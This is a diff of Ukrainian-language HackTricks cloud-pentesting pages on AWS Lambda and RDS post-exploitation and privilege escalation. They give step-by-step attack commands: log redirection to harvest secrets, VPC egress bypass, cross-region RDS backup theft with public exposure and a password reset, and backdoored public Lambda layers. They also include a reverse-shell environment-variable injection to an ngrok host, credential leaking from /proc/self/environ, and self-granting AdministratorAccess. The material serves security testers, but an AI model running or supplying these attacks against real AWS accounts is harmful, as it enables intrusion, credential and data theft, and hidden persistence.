CloudWatch Logs. Це працює без зміни коду або ролі виконання (більшість Lambda-ролей уже включають `logs:CreateLogGroup/CreateLogStream/PutLogEvents` через `AWSLambdaBasicExecutionRole`). Якщо функція виводить секрети/тіла запитів або падає зі стек-трейсами, ви зможете зібрати їх з нової групи журналів. + +## Необхідні дозволи +- lambda:UpdateFunctionConfiguration +- lambda:GetFunctionConfiguration +- lambda:InvokeFunction (або покладайтесь на існуючі тригери) +- logs:CreateLogGroup (часто не потрібен, якщо роль функції вже має цей дозвіл) +- logs:FilterLogEvents (для читання подій) + +## Кроки +1) Створіть цільову групу журналів +``` +aws logs create-log-group --log-group-name "/aws/hacktricks/ht-log-sink" --region us-east-1 || true +``` +2) Перенаправити логи цільової функції +``` +aws lambda update-function-configuration \ +--function-name \ +--logging-config LogGroup=/aws/hacktricks/ht-log-sink,LogFormat=JSON,ApplicationLogLevel=DEBUG \ +--region us-east-1 +``` +Зачекайте, поки `LastUpdateStatus` стане `Successful`: +``` +aws lambda get-function-configuration --function-name \ +--query LastUpdateStatus --output text +``` +3) Викликати та зчитати з sink +``` +aws lambda invoke --function-name /tmp/out.json --payload '{"ht":"log"}' --region us-east-1 >/dev/null +sleep 5 +aws logs filter-log-events --log-group-name "/aws/hacktricks/ht-log-sink" --limit 50 --region us-east-1 --query 'events[].message' --output text +``` +## Вплив +- Непомітно перенаправити всі application/system logs до log group, який ви контролюєте, bypassing очікувань, що logs потрапляють лише в `/aws/lambda/`. +- Exfiltrate чутливі дані, виведені function або виявлені в errors. + +## Очищення +``` +aws lambda update-function-configuration --function-name \ +--logging-config LogGroup=/aws/lambda/,LogFormat=Text,ApplicationLogLevel=INFO \ +--region us-east-1 || true +``` +## Примітки +- Елементи керування логуванням є частиною `LoggingConfig` у Lambda (LogGroup, LogFormat, ApplicationLogLevel, SystemLogLevel). +- За замовчуванням Lambda надсилає логи в `/aws/lambda/`, але ви можете вказати будь-яку назву LogGroup; Lambda (або execution role) створить її, якщо це дозволено. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md new file mode 100644 index 000000000..1af466868 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md @@ -0,0 +1,12 @@ +# AWS Lambda – Прив'язування/відкат Runtime для зловживань через PutRuntimeManagementConfig + +Зловживання `lambda:PutRuntimeManagementConfig` для прив'язки функції до конкретної версії runtime (Manual) або заморожування оновлень (FunctionUpdate). Це зберігає сумісність зі шкідливими layers/wrappers і може утримувати функцію на застарілій, вразливій версії runtime, що полегшує експлуатацію й довготривалу персистентність. + +Вимоги: `lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, `lambda:GetRuntimeManagementConfig`. + +Приклад (us-east-1): +- Виклик: `aws lambda invoke --function-name /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5` +- Заморозити оновлення: `aws lambda put-runtime-management-config --function-name --update-runtime-on FunctionUpdate --region us-east-1` +- Перевірити: `aws lambda get-runtime-management-config --function-name --region us-east-1` + +За бажанням можна прив'язати до конкретної версії runtime, витягнувши Runtime Version ARN з логів INIT_START і використавши `--update-runtime-on Manual --runtime-version-arn `. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md new file mode 100644 index 000000000..65e8aa9d6 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md @@ -0,0 +1,63 @@ +# AWS Lambda – VPC Egress Bypass by Detaching VpcConfig + +Примусово виведіть функцію Lambda з обмеженої VPC, оновивши її конфігурацію з порожнім VpcConfig (SubnetIds=[], SecurityGroupIds=[]). Функція тоді запуститься в Lambda-managed networking plane, відновивши вихідний доступ в інтернет і оминувши egress-контролі, застосовані приватними підмережами VPC без NAT. + +## Abusing it + +- Pre-reqs: lambda:UpdateFunctionConfiguration на цільовій функції (та lambda:InvokeFunction для перевірки), плюс права на оновлення коду/handler якщо їх змінювати. +- Assumptions: Функція наразі налаштована з VpcConfig, яка вказує на приватні підмережі без NAT (тому вихідний доступ в інтернет заблоковано). +- Region: us-east-1 + +### Steps + +0) Prepare a minimal handler that proves outbound HTTP works + +cat > net.py <<'PY' +import urllib.request, json + +def lambda_handler(event, context): +try: +ip = urllib.request.urlopen('https://checkip.amazonaws.com', timeout=3).read().decode().strip() +return {"egress": True, "ip": ip} +except Exception as e: +return {"egress": False, "err": str(e)} +PY +zip net.zip net.py +aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true +aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true + +1) Record current VPC config (to restore later if needed) + +aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json +cat /tmp/orig-vpc.json + +2) Detach the VPC by setting empty lists + +aws lambda update-function-configuration \ +--function-name $TARGET_FN \ +--vpc-config SubnetIds=[],SecurityGroupIds=[] \ +--region $REGION +until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done + +3) Invoke and verify outbound access + +aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null +cat /tmp/net-out.json + +(Optional) Restore original VPC config + +if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then +SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json) +aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] --region $REGION +fi + +### Impact +- Відновлює необмежений вихідний доступ в інтернет з функції, що дозволяє ексфільтрацію даних або C2 від навантажень, які були спеціально ізольовані в приватних підмережах без NAT. + +### Example output (after detaching VpcConfig) + +{"egress": true, "ip": "34.x.x.x"} + +### Cleanup +- Якщо ви створювали тимчасові зміни коду/handler, відновіть їх. +- За бажанням відновіть оригінальний VpcConfig, збережений у /tmp/orig-vpc.json, як показано вище. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md index 7bd98720e..1e2533f9f 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md @@ -1,10 +1,10 @@ -# AWS - RDS Постексплуатація +# AWS - RDS Post Exploitation {{#include ../../../banners/hacktricks-training.md}} ## RDS -Для отримання додаткової інформації перегляньте: +Для отримання додаткової інформації дивіться: {{#ref}} ../aws-services/aws-relational-database-rds-enum.md @@ -12,7 +12,7 @@ ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance` -Якщо атакуючий має достатні права, він може зробити **БД загальнодоступною**, створивши знімок БД, а потім загальнодоступну БД з цього знімка. +Якщо зловмисник має достатні дозволи, він може зробити **DB публічно доступною**, створивши snapshot DB, а потім відновивши з нього публічно доступний DB. ```bash aws rds describe-db-instances # Get DB identifier @@ -40,9 +40,9 @@ aws rds modify-db-instance \ ``` ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot` -Зловмисник з цими правами міг би **створити знімок бази даних** і зробити його **доступним** **публічно**. Потім він міг би просто створити у своєму обліковому записі базу даних з цього знімка. +Атакуючий з цими дозволами може **створити snapshot DB** і зробити його **публічно доступним**. Потім він може просто створити у своєму акаунті DB з цього snapshot. -Якщо зловмисник **не має `rds:CreateDBSnapshot`**, він все ще міг би зробити **інші** створені знімки **публічними**. +Якщо атакуючий **не має `rds:CreateDBSnapshot`**, він все одно може зробити **інші** створені snapshots **публічними**. ```bash # create snapshot aws rds create-db-snapshot --db-instance-identifier --db-snapshot-identifier @@ -53,30 +53,114 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier -- ``` ### `rds:DownloadDBLogFilePortion` -Зловмисник з дозволом `rds:DownloadDBLogFilePortion` може **завантажувати частини лог-файлів екземпляра RDS**. Якщо чутливі дані або облікові дані доступу випадково записуються в лог, зловмисник може потенційно використати цю інформацію для підвищення своїх привілеїв або виконання несанкціонованих дій. +Зловмисник, який має дозвіл `rds:DownloadDBLogFilePortion`, може **завантажувати частини файлів журналів екземпляра RDS**. Якщо чутливі дані або облікові дані доступу випадково потрапили до журналів, зловмисник може використати цю інформацію для підвищення привілеїв або виконання несанкціонованих дій. ```bash aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text ``` -**Потенційний вплив**: Доступ до чутливої інформації або несанкціоновані дії з використанням злитих облікових даних. +**Можливий вплив**: Доступ до конфіденційної інформації або несанкціоновані дії з використанням leaked credentials. ### `rds:DeleteDBInstance` -Зловмисник з цими дозволами може **виконати DoS-атаку на існуючі RDS-екземпляри**. +Зловмисник з цими дозволами може **DoS існуючі RDS інстанси**. ```bash # Delete aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot ``` -**Потенційний вплив**: Видалення існуючих RDS екземплярів та потенційна втрата даних. +**Потенційний вплив**: Видалення існуючих RDS instances та можливі втрати даних. ### `rds:StartExportTask` > [!NOTE] -> TODO: Test +> TODO: Перевірити -Зловмисник з цим дозволом може **експортувати знімок екземпляра RDS до S3 кошика**. Якщо зловмисник контролює цільовий S3 кошик, він може потенційно отримати доступ до чутливих даних у експортованому знімку. +Зловмисник із цим дозволом може **export an RDS instance snapshot to an S3 bucket**. Якщо зловмисник контролює цільовий S3 bucket, він потенційно може отримати доступ до конфіденційних даних у експортованому snapshot. ```bash aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id ``` -**Потенційний вплив**: Доступ до чутливих даних у експортованій знімці. +**Potential impact**: Доступ до конфіденційних даних у експортованому знімку. + +### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`) + +Зловживати реплікацією автоматичних резервних копій між регіонами, щоб тихо дублювати автоматичні резервні копії інстансу RDS в інший AWS регіон і відновити їх там. Атакуючий потім може зробити відновлену DB публічно доступною та скинути основний пароль, щоб отримати доступ до даних поза увагою захисників у регіоні, який вони можуть не моніторити. + +Permissions needed (minimum): +- `rds:StartDBInstanceAutomatedBackupsReplication` у цільовому регіоні +- `rds:DescribeDBInstanceAutomatedBackups` у цільовому регіоні +- `rds:RestoreDBInstanceToPointInTime` у цільовому регіоні +- `rds:ModifyDBInstance` у цільовому регіоні +- `rds:StopDBInstanceAutomatedBackupsReplication` (опційне очищення) +- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (щоб відкрити відновлену DB) + +Impact: Утримання доступу та витік даних шляхом відновлення копії продукційних даних в інший регіон і публічного їх оприлюднення з обліковими даними, контрольованими атакуючим. + +
+End-to-end CLI (replace placeholders) +```bash +# 1) Recon (SOURCE region A) +aws rds describe-db-instances \ +--region \ +--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,DBInstanceStatus,PreferredBackupWindow]' \ +--output table + +# 2) Start cross-Region automated backups replication (run in DEST region B) +aws rds start-db-instance-automated-backups-replication \ +--region \ +--source-db-instance-arn \ +--source-region \ +--backup-retention-period 7 + +# 3) Wait for replication to be ready in DEST +aws rds describe-db-instance-automated-backups \ +--region \ +--query 'DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]' \ +--output table +# Proceed when Status is "replicating" or "active" and note the DBInstanceAutomatedBackupsArn + +# 4) Restore to latest restorable time in DEST +aws rds restore-db-instance-to-point-in-time \ +--region \ +--source-db-instance-automated-backups-arn \ +--target-db-instance-identifier \ +--use-latest-restorable-time \ +--db-instance-class db.t3.micro +aws rds wait db-instance-available --region --db-instance-identifier + +# 5) Make public and reset credentials in DEST +# 5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed) +OPEN_SG_ID=$(aws ec2 create-security-group --region \ +--group-name open-rds- --description open --vpc-id \ +--query GroupId --output text) +aws ec2 authorize-security-group-ingress --region \ +--group-id "$OPEN_SG_ID" \ +--ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges='[{CidrIp=0.0.0.0/0}]' + +# 5b) Publicly expose restored DB and attach the SG +aws rds modify-db-instance --region \ +--db-instance-identifier \ +--publicly-accessible \ +--vpc-security-group-ids "$OPEN_SG_ID" \ +--apply-immediately +aws rds wait db-instance-available --region --db-instance-identifier + +# 5c) Reset the master password +aws rds modify-db-instance --region \ +--db-instance-identifier \ +--master-user-password '' \ +--apply-immediately +aws rds wait db-instance-available --region --db-instance-identifier + +# 6) Connect to endpoint and validate data (example for MySQL) +ENDPOINT=$(aws rds describe-db-instances --region \ +--db-instance-identifier \ +--query 'DBInstances[0].Endpoint.Address' --output text) +mysql -h "$ENDPOINT" -u -p'' -e 'SHOW DATABASES;' + +# 7) Optional: stop replication +aws rds stop-db-instance-automated-backups-replication \ +--region \ +--source-db-instance-arn +``` +
+ {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md index 6943145c8..c05e4fc5a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md @@ -4,7 +4,7 @@ ## lambda -Більше інформації про lambda в: +Детальніше про lambda у: {{#ref}} ../aws-services/aws-lambda-enum.md @@ -12,11 +12,11 @@ ### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`) -Користувачі з правами **`iam:PassRole`, `lambda:CreateFunction` та `lambda:InvokeFunction`** можуть підвищити свої привілеї.\ -Вони можуть **створити нову Lambda функцію та призначити їй існуючу IAM роль**, надаючи функції дозволи, пов'язані з цією роллю. Користувач може потім **написати та завантажити код до цієї Lambda функції (наприклад, з rev shell)**.\ -Після налаштування функції користувач може **запустити її виконання** та заплановані дії, викликавши Lambda функцію через AWS API. Цей підхід ефективно дозволяє користувачу виконувати завдання непрямо через Lambda функцію, працюючи з рівнем доступу, наданим IAM роллю, пов'язаною з нею.\\ +Користувачі з дозволами **`iam:PassRole`, `lambda:CreateFunction`, та `lambda:InvokeFunction`** можуть підвищити свої привілеї.\ +Вони можуть **створити нову Lambda function і призначити їй існуючу IAM role**, надаючи функції права, пов'язані з цією роллю. Користувач може потім **написати та завантажити код у цю Lambda function (наприклад, з rev shell)**.\ +Після налаштування функції користувач може **ініціювати її виконання** та виконати потрібні дії, викликавши Lambda function через AWS API. Такий підхід дозволяє користувачу опосередковано виконувати завдання через Lambda function, діючи з рівнем доступу, наданим пов'язаною IAM role.\\ -Зловмисник може зловживати цим, щоб отримати **rev shell та вкрасти токен**: +Атакуючий може зловживати цим, щоб отримати **rev shell і вкрасти token**: ```python:rev.py import socket,subprocess,os,time def lambda_handler(event, context): @@ -46,8 +46,8 @@ aws lambda invoke --function-name my_function output.txt # List roles aws iam list-attached-user-policies --user-name ``` -Ви також можете **зловживати дозволами ролі lambda** з самої функції lambda.\ -Якщо роль lambda мала достатньо дозволів, ви могли б використати її для надання адміністративних прав собі: +Ви також можете **зловживати дозволами ролі lambda** безпосередньо з самої функції lambda.\ +Якщо роль lambda має достатні дозволи, ви можете використати її, щоб надати собі права адміністратора: ```python import boto3 def lambda_handler(event, context): @@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' ) return response ``` -Також можливо витікати облікові дані ролі lambda без необхідності зовнішнього з'єднання. Це буде корисно для **мережевих ізольованих Lambdas**, які використовуються для внутрішніх завдань. Якщо є невідомі групи безпеки, які фільтрують ваші зворотні оболонки, цей фрагмент коду дозволить вам безпосередньо витікати облікові дані як вихідні дані lambda. +Також можливо leak облікові дані ролі lambda без потреби у зовнішньому підключенні. Це буде корисно для **Network isolated Lambdas**, які використовуються для внутрішніх завдань. Якщо невідомі security groups фільтрують ваші reverse shells, цей фрагмент коду дозволить безпосередньо leak облікові дані як вивід lambda. ```python def handler(event, context): sessiontoken = open('/proc/self/environ', "r").read() @@ -72,34 +72,34 @@ return { aws lambda invoke --function-name output.txt cat output.txt ``` -**Потенційний вплив:** Пряме підвищення привілеїв до вказаної довільної ролі служби lambda. +**Potential Impact:** Пряме privesc до довільної ролі сервісу lambda, що вказана. > [!CAUTION] -> Зверніть увагу, що навіть якщо це може виглядати цікаво, **`lambda:InvokeAsync`** **не** дозволяє самостійно **виконувати `aws lambda invoke-async`**, вам також потрібен `lambda:InvokeFunction` +> Зверніть увагу, що хоч **`lambda:InvokeAsync`** може виглядати цікавим, воно саме по собі **не дозволяє** виконати **`aws lambda invoke-async`** — потрібен також дозвіл `lambda:InvokeFunction` ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission` -Як і в попередньому сценарії, ви можете **надати собі дозвіл `lambda:InvokeFunction`**, якщо у вас є дозвіл **`lambda:AddPermission`** +Як і в попередньому сценарії, ви можете **надати собі дозвіл `lambda:InvokeFunction`**, якщо маєте дозвіл **`lambda:AddPermission`** ```bash # Check the previous exploit and use the following line to grant you the invoke permissions aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \ --action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN" ``` -**Потенційний вплив:** Пряме підвищення привілеїв до вказаної довільної ролі служби lambda. +**Potential Impact:** Прямий privesc до довільної вказаної ролі сервісу Lambda. ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping` -Користувачі з дозволами **`iam:PassRole`, `lambda:CreateFunction` та `lambda:CreateEventSourceMapping`** (а також потенційно `dynamodb:PutItem` та `dynamodb:CreateTable`) можуть непрямо **підвищити привілеї**, навіть без `lambda:InvokeFunction`.\ -Вони можуть створити **функцію Lambda з шкідливим кодом і призначити їй існуючу IAM роль**. +Користувачі з **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** дозволами (а також, можливо, `dynamodb:PutItem` та `dynamodb:CreateTable`) можуть опосередковано **escalate privileges** навіть без `lambda:InvokeFunction`.\ +Вони можуть створити **Lambda function з шкідливим кодом і призначити їй існуючу IAM role**. -Замість того, щоб безпосередньо викликати Lambda, користувач налаштовує або використовує існуючу таблицю DynamoDB, пов'язуючи її з Lambda через картографування джерела подій. Це налаштування забезпечує автоматичний **тригер функції Lambda при додаванні нового елемента** в таблицю, або через дію користувача, або інший процес, таким чином непрямо викликаючи функцію Lambda та виконуючи код з дозволами переданої IAM ролі. +Замість безпосереднього виклику Lambda, користувач налаштовує або використовує існуючу таблицю DynamoDB, пов’язуючи її з Lambda через event source mapping. Ця конфігурація гарантує, що Lambda function **автоматично запускається при додаванні нового елемента** до таблиці, чи то внаслідок дії користувача, чи іншого процесу, тим самим опосередковано викликаючи Lambda function і виконуючи код з дозволами переданої IAM role. ```bash aws lambda create-function --function-name my_function \ --runtime python3.8 --role \ --handler lambda_function.lambda_handler \ --zip-file fileb://rev.zip ``` -Якщо DynamoDB вже активний в середовищі AWS, користувачеві лише **необхідно встановити відображення джерела подій** для функції Lambda. Однак, якщо DynamoDB не використовується, користувач повинен **створити нову таблицю** з увімкненим потоковим режимом: +Якщо DynamoDB вже активний в середовищі AWS, користувачеві потрібно лише **встановити event source mapping** для функції Lambda. Однак, якщо DynamoDB не використовується, користувач повинен **створити нову таблицю** з увімкненими Streams: ```bash aws dynamodb create-table --table-name my_table \ --attribute-definitions AttributeName=Test,AttributeType=S \ @@ -107,22 +107,22 @@ aws dynamodb create-table --table-name my_table \ --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES ``` -Тепер можливо **підключити функцію Lambda до таблиці DynamoDB** шляхом **створення відображення джерела подій**: +Тепер можна **підключити Lambda function до DynamoDB table** шляхом **створення event source mapping**: ```bash aws lambda create-event-source-mapping --function-name my_function \ --event-source-arn \ --enabled --starting-position LATEST ``` -З функцією Lambda, пов'язаною зі стрімом DynamoDB, зловмисник може **непрямо активувати Lambda, активуючи стрім DynamoDB**. Це можна зробити, **вставивши елемент** у таблицю DynamoDB: +Якщо функція Lambda пов'язана з потоком DynamoDB, зловмисник може **опосередковано запустити Lambda, активувавши потік DynamoDB**. Це можна зробити, **вставивши елемент** у таблицю DynamoDB: ```bash aws dynamodb put-item --table-name my_table \ --item Test={S="Random string"} ``` -**Потенційний вплив:** Пряме підвищення привілеїв до ролі служби lambda, що вказана. +**Potential Impact:** Пряме privesc до зазначеної lambda service role. ### `lambda:AddPermission` -Зловмисник з цим дозволом може **надавати собі (або іншим) будь-які дозволи** (це генерує політики на основі ресурсів для надання доступу до ресурсу): +attacker з цим дозволом може **надавати собі (або іншим) будь-які дозволи** (це створює resource based policies для надання доступу до ресурсу): ```bash # Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode) aws lambda add-permission --function-name --statement-id asdasd --action '*' --principal arn: @@ -130,23 +130,23 @@ aws lambda add-permission --function-name --statement-id asdasd --ac # Invoke the function aws lambda invoke --function-name /tmp/outout ``` -**Потенційний вплив:** Пряме підвищення привілеїв до ролі служби lambda, що використовується шляхом надання дозволу на зміну коду та його виконання. +**Potential Impact:** Пряме privesc до ролі сервісу lambda, що використовується, шляхом надання дозволу змінювати код та запускати його. ### `lambda:AddLayerVersionPermission` -Зловмисник з цим дозволом може **наділити себе (або інших) дозволом `lambda:GetLayerVersion`**. Він може отримати доступ до шару та шукати вразливості або чутливу інформацію. +Зловмисник з цим дозволом може **надавати собі (або іншим) дозвіл `lambda:GetLayerVersion`**. Він може отримати доступ до шару та шукати вразливості або конфіденційну інформацію ```bash # Give everyone the permission lambda:GetLayerVersion aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion ``` -**Потенційний вплив:** Потенційний доступ до чутливої інформації. +**Potential Impact:** Можливий доступ до конфіденційної інформації. ### `lambda:UpdateFunctionCode` -Користувачі, які мають дозвіл **`lambda:UpdateFunctionCode`**, мають можливість **модифікувати код існуючої Lambda-функції, яка пов'язана з роллю IAM.**\ -Зловмисник може **модифікувати код lambda для ексфільтрації облікових даних IAM**. +Користувачі, які мають **`lambda:UpdateFunctionCode`** дозвіл, можуть **змінити код існуючої Lambda-функції, що пов'язана з IAM role.**\ +Зловмисник може **змінити код Lambda, щоб екзфільтрувати облікові дані IAM**. -Хоча зловмисник може не мати прямої можливості викликати функцію, якщо Lambda-функція вже існує і працює, ймовірно, що вона буде активована через існуючі робочі процеси або події, тим самим непрямо сприяючи виконанню модифікованого коду. +Хоча зловмисник може не мати прямої можливості викликати функцію, якщо Lambda-функція вже існує та працює, ймовірно, вона буде запускатися через існуючі робочі процеси або події, що опосередковано дозволить виконати змінений код. ```bash # The zip should contain the lambda code (trick: Download the current one and add your code there) aws lambda update-function-code --function-name target_function \ @@ -157,27 +157,27 @@ aws lambda invoke --function-name my_function output.txt # If not check if it's exposed in any URL or via an API gateway you could access ``` -**Потенційний вплив:** Пряме підвищення привілеїв до ролі служби lambda. +**Можливий вплив:** Пряме privesc до ролі сервісу lambda, що використовується. ### `lambda:UpdateFunctionConfiguration` -#### RCE через змінні середовища +#### RCE via env variables -З цими дозволами можливо додати змінні середовища, які викличуть виконання довільного коду в Lambda. Наприклад, у Python можливо зловживати змінними середовища `PYTHONWARNING` та `BROWSER`, щоб змусити процес Python виконувати довільні команди: +Маючи ці дозволи, можна додати environment variables, які призведуть до виконання Lambda довільного коду. Наприклад, у python можна зловживати змінними середовища `PYTHONWARNING` та `BROWSER`, щоб змусити python-процес виконувати довільні команди: ```bash aws --profile none-priv lambda update-function-configuration --function-name --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}" ``` -Для інших мов сценаріїв є інші змінні середовища, які ви можете використовувати. Для отримання додаткової інформації перевірте підрозділи мов сценаріїв у: +Для інших скриптових мов існують інші змінні середовища (env variables), які ви можете використовувати. Для додаткової інформації перегляньте підрозділи про скриптові мови у: {{#ref}} https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html {{#endref}} -#### RCE через Lambda Layers +#### RCE via Lambda Layers -[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) дозволяє включати **код** у вашу функцію lamdba, але **зберігати його окремо**, так що код функції може залишатися маленьким, а **кілька функцій можуть ділитися кодом**. +[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) дозволяє включати **code** в вашу lamdba функцію, але **зберігати його окремо**, тож код функції може залишатися невеликим і **кілька функцій можуть ділитися кодом**. -Всередині lambda ви можете перевірити шляхи, з яких завантажується python код, за допомогою функції, подібної до наступної: +Всередині lambda ви можете перевірити шляхи, звідки завантажується python code, за допомогою функції на кшталт наступної: ```python import json import sys @@ -185,7 +185,7 @@ import sys def lambda_handler(event, context): print(json.dumps(sys.path, indent=2)) ``` -Це місця: +These are the places: 1. /var/task 2. /opt/python/lib/python3.7/site-packages @@ -198,53 +198,53 @@ print(json.dumps(sys.path, indent=2)) 9. /opt/python/lib/python3.7/site-packages 10. /opt/python -Наприклад, бібліотека boto3 завантажується з `/var/runtime/boto3` (4-та позиція). +For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position). -#### Експлуатація +#### Exploitation -Можливо зловживати дозволом `lambda:UpdateFunctionConfiguration`, щоб **додати новий шар** до функції lambda. Щоб виконати довільний код, цей шар повинен містити якусь **бібліотеку, яку lambda збирається імпортувати.** Якщо ви можете прочитати код lambda, ви можете легко це знайти, також зверніть увагу, що можливо, що lambda **вже використовує шар** і ви могли б **завантажити** шар і **додати свій код** туди. +It's possible to abuse the permission `lambda:UpdateFunctionConfiguration` to **add a new layer** to a lambda function. To execute arbitrary code this layer need to contain some **library that the lambda is going to import.** If you can read the code of the lambda, you could find this easily, also note that it might be possible that the lambda is **already using a layer** and you could **download** the layer and **add your code** in there. -Наприклад, припустимо, що lambda використовує бібліотеку boto3, це створить локальний шар з останньою версією бібліотеки: +For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library: ```bash pip3 install -t ./lambda_layer boto3 ``` -Ви можете відкрити `./lambda_layer/boto3/__init__.py` і **додати бекдор у глобальний код** (функцію для ексфільтрації облікових даних або отримання зворотного шелу, наприклад). +Ви можете відкрити `./lambda_layer/boto3/__init__.py` і **додати backdoor у глобальний код** (наприклад, функцію для exfiltrate credentials або отримання reverse shell). -Потім стисніть цю директорію `./lambda_layer` і **завантажте новий lambda layer** у свій обліковий запис (або в обліковий запис жертви, але у вас можуть не бути на це дозволи).\ -Зверніть увагу, що вам потрібно створити папку python і помістити бібліотеки туди, щоб перекрити /opt/python/boto3. Крім того, layer повинен бути **сумісним з версією python**, що використовується lambda, і якщо ви завантажите його у свій обліковий запис, він повинен бути в **тій же області:** +Потім заархівуйте директорію `./lambda_layer` і **завантажте новий lambda layer** у свій акаунт (або в акаунт жертви, але можливо у вас немає на це прав).\ +Зверніть увагу, що потрібно створити папку python і помістити туди бібліотеки, щоб перевизначити /opt/python/boto3. Також layer має бути **compatible with the python version** яку використовує lambda, і якщо ви завантажуєте його у свій акаунт, він має бути в **same region:** ```bash aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" ``` -Тепер зробіть завантажений шар lambda **доступним для будь-якого облікового запису**: +Тепер зробіть завантажений lambda layer **доступним для будь-якого облікового запису**: ```bash aws lambda add-layer-version-permission --layer-name boto3 \ --version-number 1 --statement-id public \ --action lambda:GetLayerVersion --principal * ``` -І прикріпіть шар lambda до функції lambda жертви: +І прикріпіть lambda layer до victim lambda function: ```bash aws lambda update-function-configuration \ --function-name \ --layers arn:aws:lambda:::layer:boto3:1 \ --timeout 300 #5min for rev shells ``` -Наступним кроком буде або **виклик функції** самостійно, якщо ми можемо, або чекати, поки **вона буде викликана** звичайними засобами – що є більш безпечним методом. +Наступним кроком буде або **викликати функцію** самому, якщо це можливо, або почекати, поки **вона буде викликана** звичайним способом — що є безпечнішим методом. -**Більш прихований спосіб експлуатації цієї вразливості** можна знайти в: +Більш прихований спосіб експлуатації цієї вразливості можна знайти в: {{#ref}} ../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md {{#endref}} -**Потенційний вплив:** Пряме підвищення привілеїв до ролі служби lambda. +**Potential Impact:** Прямий privesc до ролі сервісу lambda, що використовується. ### `iam:PassRole`, `lambda:CreateFunction`, 